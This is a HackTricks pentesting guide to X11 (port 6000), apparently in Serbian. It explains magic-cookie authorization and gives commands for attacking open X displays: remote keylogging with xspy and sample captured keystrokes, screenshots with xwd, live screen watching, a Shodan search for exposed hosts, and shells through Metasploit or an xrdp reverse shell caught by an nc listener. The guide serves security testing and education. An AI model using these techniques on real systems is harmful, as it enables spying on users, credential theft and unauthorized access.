8.2 KiB
6000 - Pentesting X11
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Basic Information
X Window System (X) je svestran sistem za prozore koji je prisutan na UNIX-baziranim operativnim sistemima. Pruža okvir za kreiranje grafičkih korisničkih interfejsa (GUI), pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznolika i prilagodljiva iskustva unutar X okruženja.
Default port: 6000
PORT STATE SERVICE
6000/tcp open X11
Enumeration
Proverite za anonimnu vezu:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
Lokalna Enumeracija
Datoteka .Xauthority
u korisnikovom home folderu se koristi od strane X11 za autorizaciju. Iz ovde:
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
MIT-magic-cookie-1: Generisanje 128bit ključa (“cookie”), čuvanje u ~/.Xauthority (ili gde pokazuje XAUTHORITY envvar). Klijent ga šalje serveru u čistom obliku! Server proverava da li ima kopiju ovog “cookie” i ako ima, veza je dozvoljena. Ključ generiše DMX.
{% hint style="warning" %}
Da biste koristili cookie treba da postavite env var: export XAUTHORITY=/path/to/.Xauthority
{% endhint %}
Lokalna enumeracija sesije
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
U primeru, localhost:0
je pokretao xfce4-session.
Verifikujte Konekciju
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keyloggin
xspy za presretanje pritisaka na tastaturu.
Sample Output:
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Snimanje ekrana
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Remote Desktop View
Način sa: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Putem: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
Prvo moramo pronaći ID prozora koristeći xwininfo
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Za uživo gledanje potrebno je koristiti
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Dobijanje Shell-a
msf> use exploit/unix/x11/x11_keyboard_exec
Reverse Shell: Xrdp takođe omogućava uzimanje reverse shell-a putem Netcat-a. Ukucajte sledeću komandu:
./xrdp.py \<IP:0> –no-disp
U interfejsu možete videti opciju R-shell.
Zatim, pokrenite Netcat listener na vašem lokalnom sistemu na portu 5555.
nc -lvp 5555
Zatim unesite svoju IP adresu i port u opciju R-Shell i kliknite na R-shell da dobijete shell
Reference
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Shodan
port:6000 x11
Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
Hacking Insights
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Real-Time Hack News
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Latest Announcements
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podrška HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.